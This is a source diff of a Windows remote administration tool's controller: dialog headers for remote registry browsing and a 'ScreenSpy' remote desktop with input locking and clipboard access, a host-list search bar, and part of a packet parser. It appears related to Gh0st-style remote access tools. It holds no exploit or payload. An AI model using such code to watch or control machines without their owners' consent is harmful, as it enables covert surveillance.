m_ControlList.SetItemText(iItem,1,"REG_EXPAND_SZ");
m_ControlList.SetItemText(iItem,2,(char*)szValueData);
}
}
}

View File

@@ -0,0 +1,46 @@
#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
// CRegisterDlg 对话框
class CRegisterDlg : public DialogBase
{
DECLARE_DYNAMIC(CRegisterDlg)
public:
CRegisterDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数
virtual ~CRegisterDlg();
// 对话框数据
enum { IDD = IDD_DIALOG_REGISTER };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
BOOL m_bIsWorking;// 正在处理注册表
CTreeCtrl m_Tree;
CImageList m_ImageListTree; //树控件上的图标
CListCtrl m_ControlList;
CImageList m_ImageListControlList; //ControlList上的图标
virtual BOOL OnInitDialog();
afx_msg void OnClose();
HTREEITEM m_hRoot;
HTREEITEM HKLM;
HTREEITEM HKCR;
HTREEITEM HKCU;
HTREEITEM HKUS;
HTREEITEM HKCC;
HTREEITEM m_hSelectedItem;
BOOL m_isEnable;
char GetFatherPath(CString& strFullPath);
CString GetFullPath(HTREEITEM hCurrent);
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
void OnReceiveComplete(void);
void AddPath(char* szBuffer);
void AddKey(char* szBuffer);
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,332 @@
#pragma once
#include <imm.h>
#include <map>
#include "IOCPServer.h"
#include "..\..\client\CursorInfo.h"
#include "VideoDlg.h"
#include "ToolbarDlg.h"
#include "2015RemoteDlg.h"
extern "C"
{
#include "libavcodec\avcodec.h"
#include "libavutil\avutil.h"
#include "libyuv\libyuv.h"
}
#ifndef _WIN64
// https://github.com/Terodee/FFMpeg-windows-static-build/releases
#pragma comment(lib,"ffmpeg/libavcodec.lib")
#pragma comment(lib,"ffmpeg/libavutil.lib")
#pragma comment(lib,"ffmpeg/libswresample.lib")
#pragma comment(lib,"libyuv/libyuv.lib")
#else
#pragma comment(lib,"x264/libx264_x64.lib")
#pragma comment(lib,"libyuv/libyuv_x64.lib")
// https://github.com/ShiftMediaProject/FFmpeg
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
#endif
#pragma comment(lib, "Mfplat.lib")
#pragma comment(lib, "Mfuuid.lib")
#pragma comment(lib, "Bcrypt.lib")
#pragma comment(lib, "Strmiids.lib")
// 文件接收消息(用于将工作线程的文件数据转发到主线程处理)
#define WM_RECVFILEV2_CHUNK (WM_USER + 0x200)
#define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
// ScreenSpyDlg 系统菜单命令 ID
enum {
IDM_CONTROL = 0x1010,
IDM_FULLSCREEN,
IDM_SEND_CTRL_ALT_DEL,
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
IDM_BLOCK_INPUT, // 锁定远程计算机输入
IDM_SAVEDIB, // 保存图片
IDM_GET_CLIPBOARD, // 获取剪贴板
IDM_SET_CLIPBOARD, // 设置剪贴板
IDM_ADAPTIVE_SIZE,
IDM_SAVEAVI,
IDM_SAVEAVI_H264,
IDM_SWITCHSCREEN,
IDM_MULTITHREAD_COMPRESS,
IDM_FPS_10,
IDM_FPS_15,
IDM_FPS_20,
IDM_FPS_25,
IDM_FPS_30,
IDM_FPS_UNLIMITED,
IDM_ORIGINAL_SIZE,
IDM_SCREEN_1080P,
IDM_REMOTE_CURSOR,
IDM_SCROLL_DETECT_OFF, // 滚动检测:关闭(局域网)
IDM_SCROLL_DETECT_2, // 滚动检测:跨网推荐
IDM_SCROLL_DETECT_4, // 滚动检测:标准模式
IDM_SCROLL_DETECT_8, // 滚动检测省CPU模式
IDM_QUALITY_OFF, // 关闭质量控制(使用原有算法)
IDM_ADAPTIVE_QUALITY, // 自适应质量
IDM_QUALITY_ULTRA, // 手动质量Ultra
IDM_QUALITY_HIGH, // 手动质量High
IDM_QUALITY_GOOD, // 手动质量Good
IDM_QUALITY_MEDIUM, // 手动质量Medium
IDM_QUALITY_LOW, // 手动质量Low
IDM_QUALITY_MINIMAL, // 手动质量Minimal
IDM_ENABLE_SSE2,
IDM_FAST_STRETCH, // 快速缩放模式降低CPU占用
IDM_CUSTOM_CURSOR, // 使用自定义光标
IDM_RESTORE_CONSOLE, // RDP会话归位
IDM_RESET_VIRTUAL_DESKTOP, // 重置虚拟桌面
IDM_AUDIO_TOGGLE, // 音频开关
};
// 状态信息窗口 - 全屏时显示帧率/速度/质量
class CStatusInfoWnd : public CWnd
{
public:
CStatusInfoWnd() : m_nOpacityLevel(0), m_bVisible(false), m_bDragging(false) {}
BOOL Create(CWnd* pParent);
void UpdateInfo(double fps, double kbps, const CString& quality);
void Show();
void Hide();
void SetOpacityLevel(int level);
void UpdatePosition(const RECT& rcMonitor);
void LoadSettings();
void SaveSettings();
bool IsVisible() const { return m_bVisible; }
bool IsParentInControlMode(); // 检查父窗口是否处于控制模式
protected:
afx_msg void OnPaint();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
DECLARE_MESSAGE_MAP()
private:
CString m_strInfo;
int m_nOpacityLevel;
bool m_bVisible;
// 拖动支持
bool m_bDragging;
CPoint m_ptDragStart;
// 位置保存
double m_dOffsetXRatio = 0.5;
int m_nOffsetY = 50;
bool m_bHasCustomPosition = false;
};
// CScreenSpyDlg 对话框
class CScreenSpyDlg : public DialogBase
{
DECLARE_DYNAMIC(CScreenSpyDlg)
CToolbarDlg* m_pToolbar = nullptr;
CMy2015RemoteDlg* m_pParent = nullptr;
public:
CStatusInfoWnd* m_pStatusInfoWnd = nullptr;
// MaxFPS=20, ScrollDetectInterval=2, Reserved={}, Capabilities=0
// MaxFPS=20, CompressThread=0, ScreenStrategy=0, ScreenWidth=0, ScreenHeight=0,
// FullScreen=0, RemoteCursor=0, ScrollDetectInterval=2, QualityLevel=-1,
// CpuSpeedup=0, ScreenType=0, AudioEnabled=0, Reserved={}, Capabilities=0
ScreenSettings m_Settings = { 20, 0, 0, 0, 0, 0, 0, 2, -1, 0, 0, 0, {}, 0 };
public:
// 快速缩放模式(全局配置,所有实例共享)
static int s_nFastStretch; // -1=未初始化, 0=关闭, 1=开启
static bool GetFastStretchMode();
static void SetFastStretchMode(bool bFast);
CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
virtual ~CScreenSpyDlg();
virtual BOOL ShouldReconnect()
{
return TRUE;
}
VOID SendNext(void);
VOID OnReceiveComplete();
HDC m_hFullDC;
HDC m_hFullMemDC;
HBITMAP m_BitmapHandle;
PVOID m_BitmapData_Full;
LPBITMAPINFO m_BitmapInfor_Full;
VOID DrawFirstScreen(void);
VOID DrawNextScreenDiff(bool keyFrame);
VOID DrawScrollFrame(void);
BOOL m_bIsFirst;
bool m_bQualitySwitch = false; // 质量切换中,不显示"请等待"
ULONG m_ulHScrollPos;
ULONG m_ulVScrollPos;
// fillMode: 0=不填充, 1=全黑, 2=半透明
VOID DrawTipString(CString strString, int fillMode=1);
POINT m_ClientCursorPos;
BYTE m_bCursorIndex;
BOOL m_bIsTraceCursor;
CCursorInfo m_CursorInfo; //自定义的一个系统的光标类
VOID SendCommand(const MYMSG* Msg);
void SendScaledMouseMessage(MSG* pMsg, bool makeLP);
VOID UpdateServerClipboard(char *szBuffer,ULONG ulLength);
VOID SendServerClipboard(void);
BOOL m_bIsCtrl;
LPBYTE m_szData;
BOOL m_bSend;
ULONG m_ulMsgCount;
int m_FrameID;
HIMC m_hOldIMC = NULL; // 保存原始 IME 上下文,控制模式切换时使用
bool m_bHide = false;
std::string m_strSaveNotice; // 截图保存路径提示
ULONGLONG m_nSaveNoticeTime = 0; // 截图提示开始时间
BOOL m_bUsingFRP = FALSE;
// 文件接收进度对话框(用于 Linux Ctrl+C -> 服务端 Ctrl+V
// 按 transferID 管理多个并发传输
std::map<uint64_t, class CDlgFileSend*> m_FileRecvDlgs;
void SaveSnapshot(void);
// 对话框数据
enum { IDD = IDD_DIALOG_SCREEN_SPY };
WINDOWPLACEMENT m_struOldWndpl;
const AVCodec* m_pCodec;
AVCodecContext* m_pCodecContext;
AVPacket m_AVPacket;
AVFrame m_AVFrame;
clock_t m_lastMouseMove; // 鼠标移动时间
POINT m_lastMousePoint;// 上次鼠标位置
BOOL m_bAdaptiveSize = TRUE;
HCURSOR m_hRemoteCursor = NULL;
HCURSOR m_hCustomCursor = NULL; // 缓存的自定义光标
DWORD m_dwCustomCursorHash = 0; // 当前自定义光标哈希
BOOL m_bUseCustomCursor = TRUE; // 是否使用自定义光标
CRect m_CRect;
double m_wZoom=1, m_hZoom=1;
bool m_bMouseTracking = false;
CString m_aviFile;
CBmpToAvi m_aviStream;
// 传输速率统计
ULONG m_ulBytesThisSecond = 0; // 本秒累计字节
double m_dTransferRate = 0; // 当前速率 (KB/s)
// 帧率统计 (使用EMA平滑)
ULONG m_ulFramesThisSecond = 0; // 本秒累计帧数
double m_dFrameRate = 0; // 平滑后的帧率 (FPS)
// 自适应质量
struct {
bool enabled = false; // 是否启用自适应 (默认关闭)
int currentLevel = QUALITY_HIGH; // 当前质量等级
int currentMaxWidth = 0; // 当前分辨率限制 (0=原始)
int lastRTT = 0; // 上次RTT值
ULONGLONG lastChangeTime = 0; // 上次切换时间
ULONGLONG lastResChangeTime = 0; // 上次分辨率变化时间
ULONGLONG startTime = 0; // 启动时间 (用于延迟启动自适应)
int stableCount = 0; // 稳定计数 (用于防抖)
} m_AdaptiveQuality;
volatile bool m_bResolutionChanging = false; // 分辨率切换中,阻止解码
// ========== 音频播放 ==========
// m_Settings.AudioEnabled 表示是否启用音频(与客户端同步)
BOOL m_bAudioPlaying = FALSE; // 音频是否正在播放
HWAVEOUT m_hWaveOut = NULL; // 波形输出设备句柄
WAVEFORMATEX m_AudioFormat = {}; // 音频格式
static const int AUDIO_BUFFER_COUNT = 8; // 缓冲区数量增加到8个
WAVEHDR m_WaveHdr[AUDIO_BUFFER_COUNT] = {}; // 波形头
LPBYTE m_pAudioBuf[AUDIO_BUFFER_COUNT] = {};// 音频缓冲区
int m_nAudioBufIndex = 0; // 当前缓冲区索引
static const DWORD AUDIO_BUF_SIZE = 8192; // 8KB 每个缓冲区(更小更频繁)
// 环形缓冲区(吸收网络抖动)
static const DWORD RING_BUF_SIZE = 65536; // 64KB 环形缓冲区
BYTE* m_pRingBuf = nullptr; // 环形缓冲区
DWORD m_nRingHead = 0; // 写入位置
DWORD m_nRingTail = 0; // 读取位置
DWORD m_nRingDataLen = 0; // 缓冲数据量
int m_nPrebufferCount = 0; // 预缓冲计数
static const int PREBUFFER_TARGET = 5; // 预缓冲目标积累5个包再开始播放约50ms
BYTE m_nAudioCompression = 0; // 音频压缩类型 (AudioCompression)
#if USING_OPUS
void* m_pOpusDecoder = nullptr; // Opus 解码器
short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
#endif
void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据
BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放
void StopAudioPlayback(); // 停止音频播放
void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
void FeedAudioBuffers(); // 填充音频缓冲区
int GetClientRTT(); // 获取客户端RTT(ms)
void EvaluateQuality(); // 评估并调整质量
void ApplyQualityLevel(int level, bool persist = false); // 应用质量等级
const char* GetQualityName(int level); // 获取质量等级名称
void UpdateQualityMenuCheck(CMenu* SysMenu = nullptr); // 更新质量菜单勾选状态
void OnTimer(UINT_PTR nIDEvent);
void UpdateWindowTitle();
bool Decode(LPBYTE Buffer, int size);
void EnterFullScreen();
bool LeaveFullScreen();
void UpdateCtrlStatus(BOOL ctrl);
void OnDropFiles(HDROP hDropInfo);
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg BOOL OnMouseWheel(UINT nFlags, short zDelta, CPoint pt);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnMouseLeave();
afx_msg void OnKillFocus(CWnd* pNewWnd);
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnWaveOutDone(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam);
afx_msg void OnExitFullscreen()
{
BYTE cmd[4] = { CMD_FULL_SCREEN, m_Settings.FullScreen = FALSE };
m_ContextObject->Send2Client(cmd, sizeof(cmd));
LeaveFullScreen();
}
afx_msg void OnShowStatusInfo()
{
if (m_pStatusInfoWnd) m_pStatusInfoWnd->Show();
}
afx_msg void OnHideStatusInfo()
{
if (m_pStatusInfoWnd) m_pStatusInfoWnd->Hide();
}
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
void PrepareDrawing(const LPBITMAPINFO bmp);
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnPaint();
BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL PreTranslateMessage(MSG* pMsg);
void OnLButtonDblClk(UINT nFlags, CPoint point);
};

View File

@@ -0,0 +1,439 @@
// SearchBarDlg.cpp - 浮动搜索工具栏实现
#include "stdafx.h"
#include "SearchBarDlg.h"
#include "2015RemoteDlg.h"
IMPLEMENT_DYNAMIC(CSearchBarDlg, CDialogEx)
CSearchBarDlg::CSearchBarDlg(CMy2015RemoteDlg* pParent)
: CDialogLangEx(IDD_SEARCH_BAR, pParent)
, m_pParent(pParent)
, m_nCurrentIndex(-1)
{
m_brushEdit.CreateSolidBrush(RGB(60, 60, 60));
m_brushStatic.CreateSolidBrush(RGB(40, 40, 40));
}
CSearchBarDlg::~CSearchBarDlg()
{
m_brushEdit.DeleteObject();
m_brushStatic.DeleteObject();
}
void CSearchBarDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_SEARCH_EDIT, m_editSearch);
DDX_Control(pDX, IDC_SEARCH_COUNT, m_staticCount);
}
BEGIN_MESSAGE_MAP(CSearchBarDlg, CDialogEx)
ON_BN_CLICKED(IDC_SEARCH_PREV, &CSearchBarDlg::OnBnClickedPrev)
ON_BN_CLICKED(IDC_SEARCH_NEXT, &CSearchBarDlg::OnBnClickedNext)
ON_BN_CLICKED(IDC_SEARCH_CLOSE, &CSearchBarDlg::OnBnClickedClose)
ON_EN_CHANGE(IDC_SEARCH_EDIT, &CSearchBarDlg::OnEnChangeSearch)
ON_WM_TIMER()
ON_WM_ERASEBKGND()
ON_WM_CTLCOLOR()
END_MESSAGE_MAP()
BOOL CSearchBarDlg::OnInitDialog()
{
__super::OnInitDialog();
// 设置分层窗口样式(透明 + 不抢焦点)
ModifyStyleEx(0, WS_EX_LAYERED | WS_EX_NOACTIVATE);
SetLayeredWindowAttributes(0, 200, LWA_ALPHA);
// 子类化按钮为 CIconButton
m_btnPrev.SubclassDlgItem(IDC_SEARCH_PREV, this);
m_btnNext.SubclassDlgItem(IDC_SEARCH_NEXT, this);
m_btnClose.SubclassDlgItem(IDC_SEARCH_CLOSE, this);
// 设置图标
m_btnPrev.SetIconDrawFunc(CIconButton::DrawIconArrowLeft);
m_btnNext.SetIconDrawFunc(CIconButton::DrawIconArrowRight);
m_btnClose.SetIconDrawFunc(CIconButton::DrawIconClose);
m_btnClose.SetIsCloseButton(true);
// 创建工具提示
m_tooltip.Create(this);
m_tooltip.Activate(TRUE);
m_tooltip.AddTool(&m_btnPrev, _TR("上一个 (Shift+Enter)"));
m_tooltip.AddTool(&m_btnNext, _TR("下一个 (Enter)"));
m_tooltip.AddTool(&m_btnClose, _TR("关闭 (Esc)"));
// 设置输入框提示文本
m_editSearch.SetCueBanner(L"Search...", TRUE);
// 初始化计数文本
m_staticCount.SetWindowText(_T(""));
return TRUE;
}
BOOL CSearchBarDlg::PreTranslateMessage(MSG* pMsg)
{
if (m_tooltip.GetSafeHwnd()) {
m_tooltip.RelayEvent(pMsg);
}
if (pMsg->message == WM_KEYDOWN) {
if (pMsg->wParam == VK_ESCAPE) {
Hide();
return TRUE;
}
if (pMsg->wParam == VK_RETURN) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
GotoPrev();
} else {
GotoNext();
}
return TRUE;
}
// F3 = 下一个, Shift+F3 = 上一个
if (pMsg->wParam == VK_F3) {
if (GetKeyState(VK_SHIFT) & 0x8000) {
GotoPrev();
} else {
GotoNext();
}
return TRUE;
}
}
return __super::PreTranslateMessage(pMsg);
}
BOOL CSearchBarDlg::OnEraseBkgnd(CDC* pDC)
{
CRect rect;
GetClientRect(&rect);
pDC->FillSolidRect(rect, RGB(40, 40, 40));
return TRUE;
}
HBRUSH CSearchBarDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = __super::OnCtlColor(pDC, pWnd, nCtlColor);
// 输入框深色背景
if (nCtlColor == CTLCOLOR_EDIT && pWnd->GetDlgCtrlID() == IDC_SEARCH_EDIT) {
pDC->SetTextColor(RGB(240, 240, 240));
pDC->SetBkColor(RGB(60, 60, 60));
return m_brushEdit;
}
// 静态文本(计数)- 使用实色背景避免重绘问题
if (nCtlColor == CTLCOLOR_STATIC) {
pDC->SetTextColor(RGB(180, 180, 180));
pDC->SetBkColor(RGB(40, 40, 40));
return m_brushStatic;
}
return hbr;
}
void CSearchBarDlg::Show()
{
if (!GetSafeHwnd()) {
Create(IDD_SEARCH_BAR, m_pParent);
}
UpdatePosition();
ShowWindow(SW_SHOWNOACTIVATE);
SetWindowPos(&wndTopMost, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
// 让输入框获得焦点并选中所有文本
m_editSearch.SetFocus();
m_editSearch.SetSel(0, -1);
}
void CSearchBarDlg::Hide()
{
KillTimer(TIMER_SEARCH); // 清理定时器
ShowWindow(SW_HIDE);
// 将焦点还给主窗口列表
if (m_pParent) {
m_pParent->SetFocus();
}
}
void CSearchBarDlg::InvalidateCache()
{
// 杀掉 pending 的搜索定时器,避免竞争条件
KillTimer(TIMER_SEARCH);
// 清空搜索缓存
m_strLastSearch.Empty();
m_Results.clear();
m_nCurrentIndex = -1;
// 如果搜索栏存在且可见,立即重新搜索并更新界面
if (GetSafeHwnd() && IsWindowVisible()) {
CString searchText;
m_editSearch.GetWindowText(searchText);
if (!searchText.IsEmpty()) {
DoSearch();
} else {
UpdateCountText();
}
}
}
void CSearchBarDlg::UpdatePosition()
{
if (!m_pParent || !GetSafeHwnd()) return;
CRect rcParent;
m_pParent->GetWindowRect(&rcParent);
CRect rcThis;
GetWindowRect(&rcThis);
// 居中显示
int x = rcParent.left + (rcParent.Width() - rcThis.Width()) / 2;
int y = rcParent.top + (rcParent.Height() - rcThis.Height()) / 2;
SetWindowPos(NULL, x, y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
void CSearchBarDlg::OnEnChangeSearch()
{
// 延迟搜索:重置定时器,避免每次输入都搜索
KillTimer(TIMER_SEARCH);
SetTimer(TIMER_SEARCH, SEARCH_DELAY_MS, NULL);
}
void CSearchBarDlg::OnTimer(UINT_PTR nIDEvent)
{
if (nIDEvent == TIMER_SEARCH) {
KillTimer(TIMER_SEARCH);
DoSearch();
}
__super::OnTimer(nIDEvent);
}
void CSearchBarDlg::DoSearch()
{
CString searchText;
m_editSearch.GetWindowText(searchText);
// 空文本时清空结果
if (searchText.IsEmpty()) {
m_Results.clear();
m_nCurrentIndex = -1;
m_strLastSearch.Empty();
UpdateCountText();
return;
}
// 相同文本不重复搜索注意Tab 切换时 m_strLastSearch 会被清空,强制重新搜索)
if (searchText == m_strLastSearch && !m_Results.empty()) {
return;
}
m_strLastSearch = searchText;
// 大小写不敏感
searchText.MakeLower();
m_Results.clear();
if (!m_pParent) return;
// 获取当前选中项的 clientID用于确定搜索起始位置
uint64_t selectedClientID = 0;
POSITION pos = m_pParent->m_CList_Online.GetFirstSelectedItemPosition();
if (pos) {
int nSelectedItem = m_pParent->m_CList_Online.GetNextSelectedItem(pos);
EnterCriticalSection(&m_pParent->m_cs);
context* selCtx = m_pParent->GetContextByListIndex(nSelectedItem);
if (selCtx) selectedClientID = selCtx->GetClientID();
LeaveCriticalSection(&m_pParent->m_cs);
}
// 加锁保护:访问 m_FilteredIndices, m_HostList, context
EnterCriticalSection(&m_pParent->m_cs);
// 遍历过滤后的列表,存储匹配项的 clientID而非索引
int count = (int)m_pParent->m_FilteredIndices.size();
for (int i = 0; i < count; i++) {
context* ctx = m_pParent->GetContextByListIndex(i);
if (!ctx) continue;
bool matched = false;
// 搜索各列IP(0), 地理位置(2), 计算机名/备注(3), 操作系统(4), 版本(8)
int cols[] = { 0, 2, 3, 4, 8 };
for (int col : cols) {
CString colText;
// 备注列特殊处理
if (col == 3) { // ONLINELIST_COMPUTER_NAME
colText = m_pParent->m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
if (colText.IsEmpty()) {
colText = ctx->GetClientData(col);
}
} else {
colText = ctx->GetClientData(col);
}
colText.MakeLower();
if (colText.Find(searchText) >= 0) {
matched = true;
break;
}
}
if (matched) {
m_Results.push_back(ctx->GetClientID());
}
}
LeaveCriticalSection(&m_pParent->m_cs);
// 定位到最接近当前选中项的结果
m_nCurrentIndex = -1;
if (!m_Results.empty()) {
m_nCurrentIndex = 0;
if (selectedClientID != 0) {
for (int i = 0; i < (int)m_Results.size(); i++) {
if (m_Results[i] == selectedClientID) {
m_nCurrentIndex = i;
break;
}
}
}
GotoResult(m_nCurrentIndex);
}
UpdateCountText();
}
void CSearchBarDlg::GotoPrev()
{
if (m_Results.empty()) return;
m_nCurrentIndex--;
if (m_nCurrentIndex < 0) {
m_nCurrentIndex = (int)m_Results.size() - 1; // 循环
}
GotoResult(m_nCurrentIndex);
UpdateCountText();
}
void CSearchBarDlg::GotoNext()
{
if (m_Results.empty()) return;
m_nCurrentIndex++;
if (m_nCurrentIndex >= (int)m_Results.size()) {
m_nCurrentIndex = 0; // 循环
}
GotoResult(m_nCurrentIndex);
UpdateCountText();
}
int CSearchBarDlg::FindListIndexByClientID(uint64_t clientID)
{
if (!m_pParent || clientID == 0) return -1;
// 加锁查找
EnterCriticalSection(&m_pParent->m_cs);
int count = (int)m_pParent->m_FilteredIndices.size();
for (int i = 0; i < count; i++) {
context* ctx = m_pParent->GetContextByListIndex(i);
if (ctx && ctx->GetClientID() == clientID) {
LeaveCriticalSection(&m_pParent->m_cs);
return i;
}
}
LeaveCriticalSection(&m_pParent->m_cs);
return -1;
}
void CSearchBarDlg::GotoResult(int index)
{
if (!m_pParent) return;
// 循环查找有效结果(避免递归导致栈溢出)
int attempts = 0;
int maxAttempts = (int)m_Results.size();
while (attempts < maxAttempts) {
if (index < 0 || index >= (int)m_Results.size()) {
m_nCurrentIndex = -1;
UpdateCountText();
return;
}
uint64_t clientID = m_Results[index];
int listIndex = FindListIndexByClientID(clientID);
if (listIndex >= 0) {
// 找到有效结果
m_nCurrentIndex = index;
// 取消所有选中
int nItem = -1;
while ((nItem = m_pParent->m_CList_Online.GetNextItem(-1, LVNI_SELECTED)) != -1) {
m_pParent->m_CList_Online.SetItemState(nItem, 0, LVIS_SELECTED | LVIS_FOCUSED);
}
// 选中并滚动到目标项
m_pParent->m_CList_Online.SetItemState(listIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
m_pParent->m_CList_Online.EnsureVisible(listIndex, FALSE);
return;
}
// 该主机不在当前列表中,移除并尝试下一个
m_Results.erase(m_Results.begin() + index);
if (m_Results.empty()) {
m_nCurrentIndex = -1;
UpdateCountText();
return;
}
// 调整索引继续查找
if (index >= (int)m_Results.size()) {
index = 0;
}
attempts++;
}
// 所有结果都失效
m_Results.clear();
m_nCurrentIndex = -1;
UpdateCountText();
}
void CSearchBarDlg::UpdateCountText()
{
CString text;
if (m_Results.empty()) {
CString searchText;
m_editSearch.GetWindowText(searchText);
if (!searchText.IsEmpty()) {
text = _T("Not found");
}
} else {
text.Format(_T("%d/%d"), m_nCurrentIndex + 1, (int)m_Results.size());
}
m_staticCount.SetWindowText(text);
m_staticCount.Invalidate();
m_staticCount.UpdateWindow();
}
void CSearchBarDlg::OnBnClickedPrev()
{
GotoPrev();
}
void CSearchBarDlg::OnBnClickedNext()
{
GotoNext();
}
void CSearchBarDlg::OnBnClickedClose()
{
Hide();
}

View File

@@ -0,0 +1,69 @@
// SearchBarDlg.h - 浮动搜索工具栏
#pragma once
#include "Resource.h"
#include "LangManager.h"
#include "CIconButton.h"
#include <vector>
class CMy2015RemoteDlg;
class CSearchBarDlg : public CDialogLangEx
{
DECLARE_DYNAMIC(CSearchBarDlg)
public:
CSearchBarDlg(CMy2015RemoteDlg* pParent = nullptr);
virtual ~CSearchBarDlg();
enum { IDD = IDD_SEARCH_BAR };
CMy2015RemoteDlg* m_pParent;
// 控件
CEdit m_editSearch;
CIconButton m_btnPrev;
CIconButton m_btnNext;
CIconButton m_btnClose;
CStatic m_staticCount;
CToolTipCtrl m_tooltip;
// 搜索状态
std::vector<uint64_t> m_Results; // 匹配项的 clientID而非索引避免列表变化导致失效
int m_nCurrentIndex; // 当前高亮的结果索引
CString m_strLastSearch; // 上次搜索文本
int FindListIndexByClientID(uint64_t clientID); // 根据 clientID 查找当前列表索引
// 方法
void Show(); // 显示搜索栏
void Hide(); // 隐藏搜索栏
void DoSearch(); // 执行搜索
void InvalidateCache(); // 清空搜索缓存Tab切换时调用
void GotoPrev(); // 上一个结果
void GotoNext(); // 下一个结果
void GotoResult(int index); // 跳转到指定结果
void UpdateCountText(); // 更新计数显示
void UpdatePosition(); // 更新位置(居中于父窗口)
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
virtual BOOL PreTranslateMessage(MSG* pMsg);
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnBnClickedPrev();
afx_msg void OnBnClickedNext();
afx_msg void OnBnClickedClose();
afx_msg void OnEnChangeSearch();
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
static const UINT_PTR TIMER_SEARCH = 1; // 延迟搜索定时器
static const UINT SEARCH_DELAY_MS = 500; // 延迟时间(毫秒)
private:
CBrush m_brushEdit; // 输入框背景画刷
CBrush m_brushStatic; // 静态控件背景画刷
};

775
server/2015Remote/Server.h Normal file
View File

@@ -0,0 +1,775 @@
#pragma once
#include "stdafx.h"
#include "common/mask.h"
#include "common/header.h"
#include "common/encrypt.h"
#include "Buffer.h"
#define XXH_INLINE_ALL
#include "common/xxhash.h"
#include <WS2tcpip.h>
#include <common/ikcp.h>
#include <atomic>
#define PACKET_LENGTH 0x2000
std::string GetPeerName(SOCKET sock);
std::string GetRemoteIP(SOCKET sock);
// ZSTD
#include "zstd/zstd.h"
#ifdef _WIN64
#pragma comment(lib, "zstd/zstd_x64.lib")
#else
#pragma comment(lib, "zstd/zstd.lib")
#endif
#define C_FAILED(p) ZSTD_isError(p)
#define C_SUCCESS(p) (!C_FAILED(p))
#define Mcompress(dest, destLen, source, sourceLen, level) m_Cctx ? ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen):\
ZSTD_compress(dest, *(destLen), source, sourceLen, level)
#define Muncompress(dest, destLen, source, sourceLen) m_Dctx ? ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen):\
ZSTD_decompress(dest, *(destLen), source, sourceLen)
enum {
PARSER_WINOS = -2,
PARSER_FAILED = -1, // 解析失败
PARSER_NEEDMORE = 0, // 需要更多数据
};
typedef struct PR {
int Result;
bool IsFailed() const
{
return PARSER_FAILED == Result;
}
bool IsNeedMore() const
{
return PARSER_NEEDMORE == Result;
}
bool IsWinOSLogin() const
{
return PARSER_WINOS == Result;
}
} PR;
enum {
COMPRESS_UNKNOWN = -2, // 未知压缩算法
COMPRESS_ZLIB = -1, // 以前版本使用的压缩方法
COMPRESS_ZSTD = 0, // 当前使用的压缩方法
COMPRESS_NONE = 1, // 没有压缩
};
// Header parser: parse the data to make sure it's from a supported client.
class HeaderParser
{
friend class CONTEXT_OBJECT;
protected:
HeaderParser()
{
m_bShouldUnmask = -1;
m_Masker = nullptr;
m_Encoder = nullptr;
m_Encoder2 = nullptr;
m_bParsed = FALSE;
m_nHeaderLen = m_nCompareLen = m_nFlagLen = 0;
m_nFlagType = FLAG_UNKNOWN;
memset(m_szPacketFlag, 0, sizeof(m_szPacketFlag));
}
virtual ~HeaderParser()
{
Reset();
}
std::string getXForwardedFor(const std::string& headers)
{
const std::string key = "X-Forwarded-For: ";
size_t pos = headers.find(key);
if (pos == std::string::npos)
return "";
pos += key.size();
